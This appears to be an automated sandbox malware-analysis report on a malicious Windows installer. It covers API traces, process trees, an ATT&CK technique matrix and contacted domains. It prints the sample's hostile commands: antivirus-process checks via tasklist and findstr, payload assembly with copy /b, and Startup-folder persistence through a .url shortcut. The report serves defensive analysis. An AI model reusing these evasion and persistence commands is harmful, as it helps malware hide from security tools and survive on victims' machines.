Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_003659B3 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	10_2_003659B3
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_002F5EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,	10_2_002F5EDA
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_004459B3 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	15_2_004459B3
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_003D5EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,	15_2_003D5EDA

Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif

Code function: 10_2_003033B7 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

10_2_003033B7

Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	API coverage: 5.2 %
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	API coverage: 4.7 %

Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00405B98 FindFirstFileW,FindClose,	0_2_00405B98
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00406559 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406559
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_004029F1 FindFirstFileW,	0_2_004029F1
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_00344005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	10_2_00344005
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_0034494A GetFileAttributesW,FindFirstFileW,FindClose,	10_2_0034494A
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_0034FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	10_2_0034FA36
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_00343CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	10_2_00343CE2
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_0034C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	10_2_0034C2FF
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_0034CD14 FindFirstFileW,FindClose,	10_2_0034CD14
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_0034CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	10_2_0034CD9F
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_0034F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	10_2_0034F5D8
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_0034F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	10_2_0034F735
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_00424005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	15_2_00424005
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_0042494A GetFileAttributesW,FindFirstFileW,FindClose,	15_2_0042494A
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_0042FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	15_2_0042FA36
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_0042C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	15_2_0042C2FF
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_0042CD14 FindFirstFileW,FindClose,	15_2_0042CD14
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_0042CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	15_2_0042CD9F
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_0042F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	15_2_0042F5D8
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_0042F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	15_2_0042F735
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_00423CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	15_2_00423CE2

Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif

Code function: 10_2_002F5D13 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

10_2_002F5D13

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\412421	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\412421\	Jump to behavior

Source: Linux.pif, 0000000A.00000002.2923389487.0000000004070000.00000004.00000800.00020000.00000000.sdmp, ScribeSync.pif, 0000000F.00000002.2923218463.00000000031EA000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif

Code function: 10_2_003545D5 BlockInput,

10_2_003545D5

Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif

Code function: 10_2_002F5240 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

10_2_002F5240

Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif

Code function: 10_2_00315CAC EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

10_2_00315CAC

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_00405BBF GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00405BBF

Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif

Code function: 10_2_003388CD GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

10_2_003388CD

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_0030A354 SetUnhandledExceptionFilter,	10_2_0030A354
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_0030A385 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_0030A385
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_003EA354 SetUnhandledExceptionFilter,	15_2_003EA354
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_003EA385 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_003EA385

Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif

Code function: 10_2_00339369 LogonUserW,

10_2_00339369

Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif

Code function: 10_2_002F5240 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

10_2_002F5240

Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif

Code function: 10_2_00341AC6 SendInput,keybd_event,

10_2_00341AC6

Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif

Code function: 10_2_003451E2 mouse_event,

10_2_003451E2

Source: C:\Users\user\Desktop\Setup.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k move Biography Biography.cmd & Biography.cmd & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa.exe opssvc.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui.exe avgui.exe bdservicehost.exe ekrn.exe nswscsvc.exe sophoshealth.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 412421	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "uncertaintycompetitionsadvertisingorganisation" Marie	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Participated + ..\Corner + ..\Domestic + ..\Disposition + ..\Diagnostic + ..\Options + ..\Mrs M	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\412421\Linux.pif Linux.pif M	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif "C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif" "C:\Users\user\AppData\Local\ScribeSoft Systems\w"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\scribesync.url" & echo url="c:\users\user\appdata\local\scribesoft systems\scribesync.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\scribesync.url" & exit
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\scribesync.url" & echo url="c:\users\user\appdata\local\scribesoft systems\scribesync.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\scribesync.url" & exit			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif

10_2_003388CD

Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif

Code function: 10_2_00344F1C AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

10_2_00344F1C

Source: Linux.pif, 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmp, Linux.pif, 0000000A.00000003.1705650105.0000000003959000.00000004.00000800.00020000.00000000.sdmp, ScribeSync.pif, 0000000F.00000002.2922236612.0000000000476000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: Linux.pif, ScribeSync.pif	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif

Code function: 10_2_0030885B cpuid

10_2_0030885B

Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif

Code function: 10_2_00320030 GetLocalTime,__swprintf,

10_2_00320030

Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif

Code function: 10_2_00320722 GetUserNameW,

10_2_00320722

Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif

Code function: 10_2_0031416A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

10_2_0031416A

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_00405C70 GlobalAlloc,lstrlenW,GetVersionExW,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GlobalFree,lstrcpyW,OpenProcess,CloseHandle,CharUpperW,lstrcmpW,GlobalFree,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,lstrcmpW,CloseHandle,CloseHandle,FreeLibrary,CloseHandle,FreeLibrary,CloseHandle,

0_2_00405C70

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: ScribeSync.pif	Binary or memory string: WIN_81
Source: ScribeSync.pif	Binary or memory string: WIN_XP
Source: ScribeSync.pif	Binary or memory string: WIN_XPe
Source: ScribeSync.pif	Binary or memory string: WIN_VISTA
Source: ScribeSync.pif	Binary or memory string: WIN_7
Source: ScribeSync.pif	Binary or memory string: WIN_8
Source: ScribeSync.pif.10.dr	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 5USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_0035696E socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,	10_2_0035696E
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_00356E32 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	10_2_00356E32
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_0043696E socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,	15_2_0043696E
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_00436E32 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	15_2_00436E32

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	2 Valid Accounts	21 Windows Management Instrumentation	1 Scripting	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	21 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	21 Input Capture	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Command and Scripting Interpreter	2 Valid Accounts	2 Valid Accounts	2 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	3 Clipboard Data	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	2 Registry Run Keys / Startup Folder	21 Access Token Manipulation	1 DLL Side-Loading	NTDS	37 System Information Discovery	Distributed Component Object Model	Input Capture	1 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	12 Process Injection	11 Masquerading	LSA Secrets	41 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	2 Registry Run Keys / Startup Folder	2 Valid Accounts	Cached Domain Credentials	1 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Virtualization/Sandbox Evasion	DCSync	4 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\412421\Linux.pif	0%	ReversingLabs

Source	Detection	Scanner	Label
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	0%	URL Reputation	safe
https://sectigo.com/CPS0	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	0%	URL Reputation	safe
http://nsis.sf.net/NSIS_ErrorError	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://www.autoitscript.com/autoit3/J	0%	Avira URL Cloud	safe
https://www.autoitscript.com/autoit3/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
microsoft-10.ovslegodl.sched.ovscdns.com	43.152.28.43	true	false		unknown
BkByEfukMORgCb.BkByEfukMORgCb	unknown	unknown	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	Setup.exe	false	URL Reputation: safe	unknown
http://www.autoitscript.com/autoit3/J	Setup.exe, 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmp, Linux.pif, 0000000A.00000000.1698620856.00000000003A9000.00000002.00000001.01000000.00000005.sdmp, Linux.pif, 0000000A.00000003.1705749417.0000000004240000.00000004.00000800.00020000.00000000.sdmp, ScribeSync.pif, 0000000F.00000002.2922325608.0000000000489000.00000002.00000001.01000000.00000009.sdmp, Hollow.0.dr, Linux.pif.1.dr, ScribeSync.pif.10.dr	false	Avira URL Cloud: safe	unknown
https://sectigo.com/CPS0	Setup.exe	false	URL Reputation: safe	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	Setup.exe	false	URL Reputation: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	Setup.exe	false	URL Reputation: safe	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	Setup.exe	false	URL Reputation: safe	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	Setup.exe	false	URL Reputation: safe	unknown
http://ocsp.sectigo.com0	Setup.exe	false	URL Reputation: safe	unknown
https://www.autoitscript.com/autoit3/	Linux.pif, 0000000A.00000002.2923389487.0000000004070000.00000004.00000800.00020000.00000000.sdmp, Linux.pif, 0000000A.00000003.1705749417.0000000004240000.00000004.00000800.00020000.00000000.sdmp, Hollow.0.dr, Linux.pif.1.dr, ScribeSync.pif.10.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

⊘No contacted IP infos

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1500125
Start date and time:	2024-08-27 23:02:14 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 36s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Setup.exe
Detection:	MAL
Classification:	mal72.expl.evad.winEXE@28/17@2/0
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 96 Number of non-executed functions: 307
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.12.23.50, 13.95.31.18, 20.3.187.198
Excluded domains from analysis (whitelisted): fe3.delivery.mp.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, ctldl.windowsupdate.com, wu-b-net.trafficmanager.net, d.3.0.0.0.0.0.0.0.0.0.0.0.0.0.0.7.0.0.0.8.0.4.0.0.3.0.1.3.0.6.2.ip6.arpa, glb.sls.prod.dcat.dsp.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: Setup.exe

Simulations

Behavior and APIs

Time	Type	Description
